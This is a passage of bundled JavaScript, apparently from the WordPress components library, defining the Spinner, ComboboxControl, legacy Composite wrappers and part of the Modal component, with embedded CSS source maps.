Rpb24gfTtcbmA7XG4iXX0= */",
38198 toString: _EMOTION_STRINGIFIED_CSS_ERROR__25
38199 };
38200 var SpinnerTrack = /* @__PURE__ */ createStyled("circle", false ? {
38201 target: "ea4tfvq1"
38202 } : {
38203 target: "ea4tfvq1",
38204 label: "SpinnerTrack"
38205 })(commonPathProps, ";stroke:", COLORS.gray[300], ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFxQ3lDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB7IGNzcywga2V5ZnJhbWVzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRyB9IGZyb20gJy4uL3V0aWxzJztcblxuY29uc3Qgc3BpbkFuaW1hdGlvbiA9IGtleWZyYW1lc2Bcblx0ZnJvbSB7XG5cdFx0dHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7XG5cdH1cblx0dG8ge1xuXHRcdHRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7XG5cdH1cbiBgO1xuXG5leHBvcnQgY29uc3QgU3R5bGVkU3Bpbm5lciA9IHN0eWxlZC5zdmdgXG5cdHdpZHRoOiAkeyBDT05GSUcuc3Bpbm5lclNpemUgfXB4O1xuXHRoZWlnaHQ6ICR7IENPTkZJRy5zcGlubmVyU2l6ZSB9cHg7XG5cdGRpc3BsYXk6IGlubGluZS1ibG9jaztcblx0bWFyZ2luOiA1cHggMTFweCAwO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdG92ZXJmbG93OiB2aXNpYmxlO1xuXHRvcGFjaXR5OiAxO1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbmA7XG5cbmNvbnN0IGNvbW1vblBhdGhQcm9wcyA9IGNzc2Bcblx0ZmlsbDogdHJhbnNwYXJlbnQ7XG5cdHN0cm9rZS13aWR0aDogMS41cHg7XG5gO1xuXG5leHBvcnQgY29uc3QgU3Bpbm5lclRyYWNrID0gc3R5bGVkLmNpcmNsZWBcblx0JHsgY29tbW9uUGF0aFByb3BzIH07XG5cdHN0cm9rZTogJHsgQ09MT1JTLmdyYXlbIDMwMCBdIH07XG5gO1xuXG5leHBvcnQgY29uc3QgU3Bpbm5lckluZGljYXRvciA9IHN0eWxlZC5wYXRoYFxuXHQkeyBjb21tb25QYXRoUHJvcHMgfTtcblx0c3Ryb2tlOiBjdXJyZW50Q29sb3I7XG5cdHN0cm9rZS1saW5lY2FwOiByb3VuZDtcblx0dHJhbnNmb3JtLW9yaWdpbjogNTAlIDUwJTtcblx0YW5pbWF0aW9uOiAxLjRzIGxpbmVhciBpbmZpbml0ZSBib3RoICR7IHNwaW5BbmltYXRpb24gfTtcbmA7XG4iXX0= */"));
38206 var SpinnerIndicator = /* @__PURE__ */ createStyled("path", false ? {
38207 target: "ea4tfvq0"
38208 } : {
38209 target: "ea4tfvq0",
38210 label: "SpinnerIndicator"
38211 })(commonPathProps, ";stroke:currentColor;stroke-linecap:round;transform-origin:50% 50%;animation:1.4s linear infinite both ", spinAnimation, ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUEwQzJDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcbmltcG9ydCB7IGNzcywga2V5ZnJhbWVzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRyB9IGZyb20gJy4uL3V0aWxzJztcblxuY29uc3Qgc3BpbkFuaW1hdGlvbiA9IGtleWZyYW1lc2Bcblx0ZnJvbSB7XG5cdFx0dHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7XG5cdH1cblx0dG8ge1xuXHRcdHRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7XG5cdH1cbiBgO1xuXG5leHBvcnQgY29uc3QgU3R5bGVkU3Bpbm5lciA9IHN0eWxlZC5zdmdgXG5cdHdpZHRoOiAkeyBDT05GSUcuc3Bpbm5lclNpemUgfXB4O1xuXHRoZWlnaHQ6ICR7IENPTkZJRy5zcGlubmVyU2l6ZSB9cHg7XG5cdGRpc3BsYXk6IGlubGluZS1ibG9jaztcblx0bWFyZ2luOiA1cHggMTFweCAwO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdG92ZXJmbG93OiB2aXNpYmxlO1xuXHRvcGFjaXR5OiAxO1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbmA7XG5cbmNvbnN0IGNvbW1vblBhdGhQcm9wcyA9IGNzc2Bcblx0ZmlsbDogdHJhbnNwYXJlbnQ7XG5cdHN0cm9rZS13aWR0aDogMS41cHg7XG5gO1xuXG5leHBvcnQgY29uc3QgU3Bpbm5lclRyYWNrID0gc3R5bGVkLmNpcmNsZWBcblx0JHsgY29tbW9uUGF0aFByb3BzIH07XG5cdHN0cm9rZTogJHsgQ09MT1JTLmdyYXlbIDMwMCBdIH07XG5gO1xuXG5leHBvcnQgY29uc3QgU3Bpbm5lckluZGljYXRvciA9IHN0eWxlZC5wYXRoYFxuXHQkeyBjb21tb25QYXRoUHJvcHMgfTtcblx0c3Ryb2tlOiBjdXJyZW50Q29sb3I7XG5cdHN0cm9rZS1saW5lY2FwOiByb3VuZDtcblx0dHJhbnNmb3JtLW9yaWdpbjogNTAlIDUwJTtcblx0YW5pbWF0aW9uOiAxLjRzIGxpbmVhciBpbmZpbml0ZSBib3RoICR7IHNwaW5BbmltYXRpb24gfTtcbmA7XG4iXX0= */"));
38212
38213 // packages/components/build-module/spinner/index.mjs
38214 var import_element118 = __toESM(require_element(), 1);
38215 var import_jsx_runtime185 = __toESM(require_jsx_runtime(), 1);
38216 function UnforwardedSpinner({
38217 className: className2,
38218 ...props
38219 }, forwardedRef) {
38220 return /* @__PURE__ */ (0, import_jsx_runtime185.jsxs)(StyledSpinner, {
38221 className: clsx_default("components-spinner", className2),
38222 viewBox: "0 0 100 100",
38223 width: "16",
38224 height: "16",
38225 xmlns: "http://www.w3.org/2000/svg",
38226 role: "presentation",
38227 focusable: "false",
38228 ...props,
38229 ref: forwardedRef,
38230 children: [/* @__PURE__ */ (0, import_jsx_runtime185.jsx)(SpinnerTrack, {
38231 cx: "50",
38232 cy: "50",
38233 r: "50",
38234 vectorEffect: "non-scaling-stroke"
38235 }), /* @__PURE__ */ (0, import_jsx_runtime185.jsx)(SpinnerIndicator, {
38236 d: "m 50 0 a 50 50 0 0 1 50 50",
38237 vectorEffect: "non-scaling-stroke"
38238 })]
38239 });
38240 }
38241 var Spinner = (0, import_element118.forwardRef)(UnforwardedSpinner);
38242 Spinner.displayName = "Spinner";
38243 var spinner_default = Spinner;
38244
38245 // packages/components/build-module/combobox-control/index.mjs
38246 var import_jsx_runtime186 = __toESM(require_jsx_runtime(), 1);
38247 var noop11 = () => {
38248 };
38249 var DetectOutside = with_focus_outside_default(class DetectOutsideComponent extends import_element119.Component {
38250 handleFocusOutside(event) {
38251 this.props.onFocusOutside(event);
38252 }
38253 render() {
38254 return this.props.children;
38255 }
38256 });
38257 var getIndexOfMatchingSuggestion = (selectedSuggestion, matchingSuggestions) => selectedSuggestion === null ? -1 : matchingSuggestions.indexOf(selectedSuggestion);
38258 function ComboboxControl(props) {
38259 const {
38260 __next40pxDefaultSize = false,
38261 value: valueProp,
38262 label,
38263 options: options2,
38264 onChange: onChangeProp,
38265 onFilterValueChange = noop11,
38266 hideLabelFromVision,
38267 help,
38268 allowReset = true,
38269 className: className2,
38270 isLoading = false,
38271 messages = {
38272 selected: (0, import_i18n37.__)("Item selected.")
38273 },
38274 __experimentalRenderItem,
38275 expandOnFocus = true,
38276 placeholder
38277 } = useDeprecated36pxDefaultSizeProp(props);
38278 const [value, setValue] = useControlledValue({
38279 value: valueProp,
38280 onChange: onChangeProp
38281 });
38282 const currentOption = options2.find((option) => option.value === value);
38283 const currentLabel = currentOption?.label ?? "";
38284 const instanceId = (0, import_compose46.useInstanceId)(ComboboxControl, "combobox-control");
38285 const [selectedSuggestion, setSelectedSuggestion] = (0, import_element119.useState)(currentOption || null);
38286 const [isExpanded, setIsExpanded] = (0, import_element119.useState)(false);
38287 const [inputHasFocus, setInputHasFocus] = (0, import_element119.useState)(false);
38288 const [inputValue, setInputValue] = (0, import_element119.useState)("");
38289 const inputContainer = (0, import_element119.useRef)(null);
38290 const matchingSuggestions = (0, import_element119.useMemo)(() => {
38291 const startsWithMatch = [];
38292 const containsMatch = [];
38293 const match4 = normalizeTextString(inputValue);
38294 options2.forEach((option) => {
38295 const index2 = normalizeTextString(option.label).indexOf(match4);
38296 if (index2 === 0) {
38297 startsWithMatch.push(option);
38298 } else if (index2 > 0) {
38299 containsMatch.push(option);
38300 }
38301 });
38302 return startsWithMatch.concat(containsMatch);
38303 }, [inputValue, options2]);
38304 const onSuggestionSelected = (newSelectedSuggestion) => {
38305 if (newSelectedSuggestion.disabled) {
38306 return;
38307 }
38308 setValue(newSelectedSuggestion.value);
38309 (0, import_a11y5.speak)(messages.selected, "assertive");
38310 setSelectedSuggestion(newSelectedSuggestion);
38311 setInputValue("");
38312 setIsExpanded(false);
38313 };
38314 const handleArrowNavigation = (offset3 = 1) => {
38315 const index2 = getIndexOfMatchingSuggestion(selectedSuggestion, matchingSuggestions);
38316 let nextIndex = index2 + offset3;
38317 if (nextIndex < 0) {
38318 nextIndex = matchingSuggestions.length - 1;
38319 } else if (nextIndex >= matchingSuggestions.length) {
38320 nextIndex = 0;
38321 }
38322 setSelectedSuggestion(matchingSuggestions[nextIndex]);
38323 setIsExpanded(true);
38324 };
38325 const onKeyDown = withIgnoreIMEEvents((event) => {
38326 let preventDefault = false;
38327 if (event.defaultPrevented) {
38328 return;
38329 }
38330 switch (event.code) {
38331 case "Enter":
38332 if (selectedSuggestion) {
38333 onSuggestionSelected(selectedSuggestion);
38334 preventDefault = true;
38335 }
38336 break;
38337 case "ArrowUp":
38338 handleArrowNavigation(-1);
38339 preventDefault = true;
38340 break;
38341 case "ArrowDown":
38342 handleArrowNavigation(1);
38343 preventDefault = true;
38344 break;
38345 case "Escape":
38346 setIsExpanded(false);
38347 setSelectedSuggestion(null);
38348 preventDefault = true;
38349 break;
38350 default:
38351 break;
38352 }
38353 if (preventDefault) {
38354 event.preventDefault();
38355 }
38356 });
38357 const onBlur = () => {
38358 setInputHasFocus(false);
38359 };
38360 const onFocus = () => {
38361 setInputHasFocus(true);
38362 if (expandOnFocus) {
38363 setIsExpanded(true);
38364 }
38365 onFilterValueChange("");
38366 setInputValue("");
38367 };
38368 const onClick = () => {
38369 setIsExpanded(true);
38370 };
38371 const onFocusOutside = () => {
38372 setIsExpanded(false);
38373 };
38374 const onInputChange = (event) => {
38375 const text = event.value;
38376 setInputValue(text);
38377 onFilterValueChange(text);
38378 if (inputHasFocus) {
38379 setIsExpanded(true);
38380 }
38381 };
38382 const handleOnReset = () => {
38383 setValue(null);
38384 inputContainer.current?.focus();
38385 };
38386 const handleResetStopPropagation = (event) => {
38387 event.stopPropagation();
38388 };
38389 (0, import_element119.useEffect)(() => {
38390 const hasMatchingSuggestions = matchingSuggestions.length > 0;
38391 const hasSelectedMatchingSuggestions = getIndexOfMatchingSuggestion(selectedSuggestion, matchingSuggestions) > 0;
38392 if (hasMatchingSuggestions && !hasSelectedMatchingSuggestions) {
38393 setSelectedSuggestion(matchingSuggestions[0]);
38394 }
38395 }, [matchingSuggestions, selectedSuggestion]);
38396 (0, import_element119.useEffect)(() => {
38397 const hasMatchingSuggestions = matchingSuggestions.length > 0;
38398 if (isExpanded) {
38399 const message2 = hasMatchingSuggestions ? (0, import_i18n37.sprintf)(
38400 /* translators: %d: number of results. */
38401 (0, import_i18n37._n)("%d result found, use up and down arrow keys to navigate.", "%d results found, use up and down arrow keys to navigate.", matchingSuggestions.length),
38402 matchingSuggestions.length
38403 ) : (0, import_i18n37.__)("No results.");
38404 (0, import_a11y5.speak)(message2, "polite");
38405 }
38406 }, [matchingSuggestions, isExpanded]);
38407 maybeWarnDeprecated36pxSize({
38408 componentName: "ComboboxControl",
38409 __next40pxDefaultSize,
38410 size: void 0
38411 });
38412 return /* @__PURE__ */ (0, import_jsx_runtime186.jsx)(DetectOutside, {
38413 onFocusOutside,
38414 children: /* @__PURE__ */ (0, import_jsx_runtime186.jsx)(base_control_default, {
38415 className: clsx_default(className2, "components-combobox-control"),
38416 label,
38417 id: `components-form-token-input-${instanceId}`,
38418 hideLabelFromVision,
38419 help,
38420 children: /* @__PURE__ */ (0, import_jsx_runtime186.jsxs)("div", {
38421 className: "components-combobox-control__suggestions-container",
38422 tabIndex: -1,
38423 onKeyDown,
38424 children: [/* @__PURE__ */ (0, import_jsx_runtime186.jsxs)(InputWrapperFlex, {
38425 __next40pxDefaultSize,
38426 children: [/* @__PURE__ */ (0, import_jsx_runtime186.jsx)(component_default5, {
38427 children: /* @__PURE__ */ (0, import_jsx_runtime186.jsx)(token_input_default, {
38428 className: "components-combobox-control__input",
38429 instanceId,
38430 ref: inputContainer,
38431 placeholder,
38432 value: isExpanded ? inputValue : currentLabel,
38433 onFocus,
38434 onBlur,
38435 onClick,
38436 isExpanded,
38437 selectedSuggestionIndex: getIndexOfMatchingSuggestion(selectedSuggestion, matchingSuggestions),
38438 onChange: onInputChange
38439 })
38440 }), isLoading && /* @__PURE__ */ (0, import_jsx_runtime186.jsx)(spinner_default, {}), allowReset && Boolean(value) && !isExpanded && /* @__PURE__ */ (0, import_jsx_runtime186.jsx)(button_default, {
38441 size: "small",
38442 icon: close_small_default,
38443 onClick: handleOnReset,
38444 onKeyDown: handleResetStopPropagation,
38445 label: (0, import_i18n37.__)("Reset")
38446 })]
38447 }), isExpanded && !isLoading && /* @__PURE__ */ (0, import_jsx_runtime186.jsx)(suggestions_list_default, {
38448 instanceId,
38449 match: {
38450 label: inputValue,
38451 value: ""
38452 },
38453 displayTransform: (suggestion) => suggestion.label,
38454 suggestions: matchingSuggestions,
38455 selectedIndex: getIndexOfMatchingSuggestion(selectedSuggestion, matchingSuggestions),
38456 onHover: setSelectedSuggestion,
38457 onSelect: onSuggestionSelected,
38458 scrollIntoView: true,
38459 __experimentalRenderItem
38460 })]
38461 })
38462 })
38463 });
38464 }
38465 var combobox_control_default = ComboboxControl;
38466
38467 // packages/components/build-module/composite/legacy/index.mjs
38468 var import_element120 = __toESM(require_element(), 1);
38469 var import_compose47 = __toESM(require_compose(), 1);
38470 var import_deprecated14 = __toESM(require_deprecated(), 1);
38471 var import_jsx_runtime187 = __toESM(require_jsx_runtime(), 1);
38472 function mapLegacyStatePropsToComponentProps(legacyProps) {
38473 if (legacyProps.state) {
38474 const {
38475 state,
38476 ...rest
38477 } = legacyProps;
38478 const {
38479 store,
38480 ...props
38481 } = mapLegacyStatePropsToComponentProps(state);
38482 return {
38483 ...rest,
38484 ...props,
38485 store
38486 };
38487 }
38488 return legacyProps;
38489 }
38490 var LEGACY_TO_NEW_DISPLAY_NAME = {
38491 __unstableComposite: "Composite",
38492 __unstableCompositeGroup: "Composite.Group or Composite.Row",
38493 __unstableCompositeItem: "Composite.Item",
38494 __unstableUseCompositeState: "Composite"
38495 };
38496 function proxyComposite(ProxiedComponent, propMap = {}) {
38497 const displayName = ProxiedComponent.displayName ?? "";
38498 const Component9 = (legacyProps) => {
38499 (0, import_deprecated14.default)(`wp.components.${displayName}`, {
38500 since: "6.7",
38501 alternative: LEGACY_TO_NEW_DISPLAY_NAME.hasOwnProperty(displayName) ? LEGACY_TO_NEW_DISPLAY_NAME[displayName] : void 0
38502 });
38503 const {
38504 store,
38505 ...rest
38506 } = mapLegacyStatePropsToComponentProps(legacyProps);
38507 let props = rest;
38508 props = {
38509 ...props,
38510 id: (0, import_compose47.useInstanceId)(store, props.baseId, props.id)
38511 };
38512 Object.entries(propMap).forEach(([from2, to]) => {
38513 if (props.hasOwnProperty(from2)) {
38514 Object.assign(props, {
38515 [to]: props[from2]
38516 });
38517 delete props[from2];
38518 }
38519 });
38520 delete props.baseId;
38521 return /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(ProxiedComponent, {
38522 ...props,
38523 store
38524 });
38525 };
38526 Component9.displayName = displayName;
38527 return Component9;
38528 }
38529 var UnproxiedCompositeGroup = (0, import_element120.forwardRef)(({
38530 role,
38531 ...props
38532 }, ref) => {
38533 const Component9 = role === "row" ? Composite22.Row : Composite22.Group;
38534 return /* @__PURE__ */ (0, import_jsx_runtime187.jsx)(Component9, {
38535 ref,
38536 role,
38537 ...props
38538 });
38539 });
38540 var Composite4 = proxyComposite(Object.assign(Composite22, {
38541 displayName: "__unstableComposite"
38542 }), {
38543 baseId: "id"
38544 });
38545 var CompositeGroup4 = proxyComposite(Object.assign(UnproxiedCompositeGroup, {
38546 displayName: "__unstableCompositeGroup"
38547 }));
38548 var CompositeItem4 = proxyComposite(Object.assign(Composite22.Item, {
38549 displayName: "__unstableCompositeItem"
38550 }), {
38551 focusable: "accessibleWhenDisabled"
38552 });
38553 function useCompositeState(legacyStateOptions = {}) {
38554 (0, import_deprecated14.default)(`wp.components.__unstableUseCompositeState`, {
38555 since: "6.7",
38556 alternative: LEGACY_TO_NEW_DISPLAY_NAME.__unstableUseCompositeState
38557 });
38558 const {
38559 baseId,
38560 currentId: defaultActiveId,
38561 orientation,
38562 rtl: rtl2 = false,
38563 loop: focusLoop = false,
38564 wrap: focusWrap = false,
38565 shift: focusShift = false,
38566 unstable_virtual: virtualFocus
38567 } = legacyStateOptions;
38568 return {
38569 baseId: (0, import_compose47.useInstanceId)(Composite4, "composite", baseId),
38570 store: useCompositeStore({
38571 defaultActiveId,
38572 rtl: rtl2,
38573 orientation,
38574 focusLoop,
38575 focusShift,
38576 focusWrap,
38577 virtualFocus
38578 })
38579 };
38580 }
38581
38582 // packages/components/build-module/confirm-dialog/component.mjs
38583 var import_i18n39 = __toESM(require_i18n(), 1);
38584 var import_element124 = __toESM(require_element(), 1);
38585
38586 // packages/components/build-module/modal/index.mjs
38587 var import_element123 = __toESM(require_element(), 1);
38588 var import_compose49 = __toESM(require_compose(), 1);
38589 var import_i18n38 = __toESM(require_i18n(), 1);
38590 var import_dom30 = __toESM(require_dom(), 1);
38591
38592 // packages/components/build-module/modal/aria-helper.mjs
38593 var LIVE_REGION_ARIA_ROLES = /* @__PURE__ */ new Set(["alert", "status", "log", "marquee", "timer"]);
38594 var hiddenElementsByDepth = [];
38595 function modalize(modalElement) {
38596 const elements2 = Array.from(document.body.children);
38597 const hiddenElements = [];
38598 hiddenElementsByDepth.push(hiddenElements);
38599 for (const element of elements2) {
38600 if (element === modalElement) {
38601 continue;
38602 }
38603 if (elementShouldBeHidden(element)) {
38604 element.setAttribute("aria-hidden", "true");
38605 hiddenElements.push(element);
38606 }
38607 }
38608 }
38609 function elementShouldBeHidden(element) {
38610 const role = element.getAttribute("role");
38611 return !(element.tagName === "SCRIPT" || element.hasAttribute("hidden") || element.hasAttribute("aria-hidden") || element.hasAttribute("aria-live") || role && LIVE_REGION_ARIA_ROLES.has(role));
38612 }
38613 function unmodalize() {
38614 const hiddenElements = hiddenElementsByDepth.pop();
38615 if (!hiddenElements) {
38616 return;
38617 }
38618 for (const element of hiddenElements) {
38619 element.removeAttribute("aria-hidden");
38620 }
38621 }
38622
38623 // packages/components/build-module/modal/use-modal-exit-animation.mjs
38624 var import_compose48 = __toESM(require_compose(), 1);
38625 var import_element121 = __toESM(require_element(), 1);
38626 var import_warning6 = __toESM(require_warning(), 1);
38627 var FRAME_ANIMATION_DURATION = config_values_default.transitionDuration;
38628 var FRAME_ANIMATION_DURATION_NUMBER = Number.parseInt(config_values_default.transitionDuration);
38629 var EXIT_ANIMATION_NAME = "components-modal__disappear-animation";
38630 function useModalExitAnimation() {
38631 const frameRef = (0, import_element121.useRef)(null);
38632 const [isAnimatingOut, setIsAnimatingOut] = (0, import_element121.useState)(false);
38633 const isReducedMotion = (0, import_compose48.useReducedMotion)();
38634 const closeModal = (0, import_element121.useCallback)(() => new Promise((closeModalResolve) => {
38635 const frameEl = frameRef.current;
38636 if (isReducedMotion) {
38637 closeModalResolve();
38638 return;
38639 }
38640 if (!frameEl) {
38641 true ? (0, import_warning6.default)("wp.components.Modal: the Modal component can't be closed with an exit animation because of a missing reference to the modal frame element.") : void 0;
38642 closeModalResolve();
38643 return;
38644 }
38645 let handleAnimationEnd;
38646 const startAnimation = () => new Promise((animationResolve) => {
38647 handleAnimationEnd = (e3) => {
38648 if (e3.animationName === EXIT_ANIMATION_NAME) {
38649 animationResolve();
38650 }
38651 };
38652 frameEl.addEventListener("animationend", handleAnimationEnd);
38653 setIsAnimatingOut(true);
38654 });
38655 const animationTimeout = () => new Promise((timeoutResolve) => {
38656 setTimeout(
38657 () => timeoutResolve(),
38658 // Allow an extra 20% of the animation duration for the
38659 // animationend event to fire, in case the animation frame is
38660 // slightly delayes by some other events in the event loop.
38661 FRAME_ANIMATION_DURATION_NUMBER * 1.2
38662 );
38663 });
38664 Promise.race([startAnimation(), animationTimeout()]).then(() => {
38665 if (handleAnimationEnd) {
38666 frameEl.removeEventListener("animationend", handleAnimationEnd);
38667 }
38668 setIsAnimatingOut(false);
38669 closeModalResolve();
38670 });
38671 }), [isReducedMotion]);
38672 return {
38673 overlayClassname: isAnimatingOut ? "is-animating-out" : void 0,
38674 frameRef,
38675 frameStyle: {
38676 "--modal-frame-animation-duration": `${FRAME_ANIMATION_DURATION}`
38677 },
38678 closeModal
38679 };
38680 }
38681
38682 // packages/components/build-module/modal/context.mjs
38683 var import_element122 = __toESM(require_element(), 1);
38684 var ModalContext = (0, import_element122.createContext)(/* @__PURE__ */ new Set());
38685 ModalContext.displayName = "ModalContext";
38686
38687 // packages/components/build-module/modal/index.mjs
38688 var import_jsx_runtime188 = __toESM(require_jsx_runtime(), 1);
38689 var bodyOpenClasses = /* @__PURE__ */ new Map();
38690 function UnforwardedModal(props, forwardedRef) {
38691 const {
38692 bodyOpenClassName = "modal-open",
38693 role = "dialog",
38694 title = null,
38695 focusOnMount = true,
38696 shouldCloseOnEsc = true,
38697 shouldCloseOnClickOutside = true,
38698 isDismissible = true,
38699 /* Accessibility. */
38700 aria = {
38701 labelledby: void 0,
38702 describedby: void 0
38703 },
38704 onRequestClose,
38705 icon,
38706 closeButtonLabel,
38707 children,
38708 style: style2,
38709 overlayClassName: overlayClassnameProp,
38710 className: className2,
38711 contentLabel,
38712 onKeyDown,
38713 isFullScreen = false,
38714 size: size3,
38715 headerActions = null,
38716 __experimentalHideHeader = false
38717 } = props;
38718 const ref = (0, import_element123.useRef)(null);
38719 const instanceId = (0, import_compose49.useInstanceId)(Modal);
38720 const headingId = title ? `components-modal-header-${instanceId}` : aria.labelledby;
38721 const focusOnMountRef = (0, import_compose49.useFocusOnMount)(focusOnMount === "firstContentElement" ? "firstElement" : focusOnMount);
38722 const constrainedTabbingRef = (0, import_compose49.useConstrainedTabbing)();
38723 const focusReturnRef = (0, import_compose49.useFocusReturn)();
38724 const contentRef = (0, import_element123.useRef)(null);
38725 const childrenContainerRef = (0, import_element123.useRef)(null);
38726 const [hasScrolledContent, setHasScrolledContent] = (0, import_element123.useState)(false);
38727 const [hasScrollableContent, setHasScrollableContent] = (0, import_element123.useState)(false);
38728 let sizeClass;
38729 if (isFullScreen || size3 === "fill") {
38730 sizeClass = "is-full-screen";
38731 } else if (size3) {
38732 sizeClass = `has-size-${size3}`;
38733 }
38734 const isContentScrollable = (0, import_element123.useCallback)(() => {
38735 if (!contentRef.current) {
38736 return;
38737 }
38738 const closestScrollContainer = (0, import_dom30.getScrollContainer)(contentRef.current);
38739 if (contentRef.current === closestScrollContainer) {
38740 setHasScrollableContent(true);
38741 } else {
38742 setHasScrollableContent(false);
38743 }
38744 }, [contentRef]);
38745 (0, import_element123.useEffect)(() => {
38746 modalize(ref.current);
38747 return () => unmodalize();
38748 }, []);
38749 const onRequestCloseRef = (0, import_element123.useRef)(void 0);
38750 (0, import_element123.useEffect)(() => {
38751 onRequestCloseRef.current = onRequestClose;
38752 }, [onRequestClose]);
38753 const dismissers = (0, import_element123.useContext)(ModalContext);
38754 const [nestedDismissers] = (0, import_element123.useState)(() => /* @__PURE__ */ new Set());
38755 (0, import_element123.useEffect)(() => {
38756 dismissers.add(onRequestCloseRef);
38757 for (const dismisser of dismissers) {
38758 if (dismisser !== onRequestCloseRef) {
38759 dismisser.current?.();
38760 }
38761 }
38762 return () => {
38763 for (const dismisser of nestedDismissers) {
38764 dismisser.current?.();
38765 }
38766 dismissers.delete(onRequestCloseRef);
38767 };
38768 }, [dismissers, nestedDismissers]);
38769 (0, import_element123.useEffect)(() => {
38770 const theClass = bodyOpenClassName;
38771 const oneMore = 1 + (bodyOpenClasses.get(theClass) ?? 0);
38772 bodyOpenClasses.set(theClass, oneMore);
38773 document.body.classList.add(bodyOpenClassName);
38774 return () => {
38775 const oneLess = bodyOpenClasses.get(theClass) - 1;
38776 if (oneLess === 0) {
38777 document.body.classList.remove(theClass);
38778 bodyOpenClasses.delete(theClass);
38779 } else {
38780 bodyOpenClasses.set(theClass, oneLess);
38781 }
38782 };
38783 }, [bodyOpenClassName]);
38784 const {
38785 closeModal,
38786 frameRef,
38787 frameStyle,
38788 overlayClassname
38789 } = useModalExitAnimation();
38790 (0, import_element123.useLayoutEffect)(() => {
38791 if (!window.ResizeObserver || !childrenContainerRef.current) {
38792 return;
38793 }
38794 const resizeObserver = new ResizeObserver(isContentScrollable);
38795 resizeObserver.observe(childrenContainerRef.current);
38796 isContentScrollable();
38797 return () => {
38798 resizeObserver.disconnect();
38799 };
38800 }, [isContentScrollable, childrenContainerRef]);
38801 function handleEscapeKeyDown(event) {
38802 if (shouldCloseOnEsc && (event.code === "Escape" || event.key === "Escape") && !event.defaultPrevented) {
38803 event.preventDefault();
38804 closeModal().then(() => onRequestClose(event));
38805 }
38806 }
38807 const onContentContainerScroll = (0, import_element123.useCallback)((e3) => {
38808 const scrollY2 = e3?.currentTarget?.scrollTop ?? -1;
38809 if (!hasScrolledContent && scrollY2 > 0) {
38810 setHasScrolledContent(true);
38811 } else if (hasScrolledContent && scrollY2 <= 0) {
38812 setHasScrolledContent(false);
38813 }
38814 }, [hasScrolledContent]);
38815 let pressTarget = null;
38816 const overlayPressHandlers = {
38817 onPointerDown: (event) => {
38818 if (event.target === event.currentTarget) {
38819 pressTarget = event.target;
38820 event.preventDefault();
38821 }
38822 },
38823 // Closes the modal with two exceptions. 1. Opening the context menu on
38824 // the overlay. 2. Pressing on the overlay then dragging the pointer
38825 // over the modal and releasing. Due to the modal being a child of the
38826 // overlay, such a gesture is a `click` on the overlay and cannot be
38827 // excepted by a `click` handler. Thus the tactic of handling
38828 // `pointerup` and comparing its target to that of the `pointerdown`.
38829 onPointerUp: ({
38830 target,
38831 button
38832 }) => {
38833 const isSameTarget = target === pressTarget;
38834 pressTarget = null;
38835 if (button === 0 && isSameTarget) {
38836 closeModal().then(() => onRequestClose());
38837 }
38838 }
38839 };
38840 const modal = (
38841 // eslint-disable-next-line jsx-a11y/no-static-element-interactions
38842 /* @__PURE__ */ (0, import_jsx_runtime188.jsx)("div", {
38843 ref: (0, import_compose49.useMergeRefs)([ref, forwardedRef]),
38844 className: clsx_default("components-modal__screen-overlay", overlayClassname, overlayClassnameProp),
38845 onKeyDown: withIgnoreIMEEvents(handleEscapeKeyDown),
38846 ...shouldCloseOnClickOutside ? overlayPressHandlers : {},
38847 children: /* @__PURE__ */ (0, import_jsx_runtime188.jsx)(style_provider_default, {
38848 document,
38849 children: /* @__PURE__ */ (0, import_jsx_runtime188.jsx)("div", {
38850 className: clsx_default("components-modal__frame", sizeClass, className2),
38851 style: {
38852 ...frameStyle,
38853 ...style2
38854 },
38855 ref: (0, import_compose49.useMergeRefs)([frameRef, constrainedTabbingRef, focusReturnRef, focusOnMount !== "firstContentElement" ? focusOnMountRef : null]),
38856 role,
38857 "aria-label": contentLabel,
38858 "aria-labelledby": contentLabel ? void 0 : headingId,
38859 "aria-describedby": aria.describedby,
38860 tabIndex: -1,
38861 onKeyDown,
38862 children: /* @__PURE__ */ (0, import_jsx_runtime188.jsxs)("div", {
38863 className: clsx_default("components-modal__content", {
38864 "hide-header": __experimentalHideHeader,
38865 "is-scrollable": hasScrollableContent,
38866 "has-scrolled-content": hasScrolledContent
38867 }),
38868 role: "document",
38869 onScroll: onContentContainerScroll,
38870 ref: contentRef,
38871 "aria-label": hasScrollableContent ? (0, import_i18n38.__)("Scrollable section") : void 0,
38872 tabIndex: hasScrollableContent ? 0 : void 0,
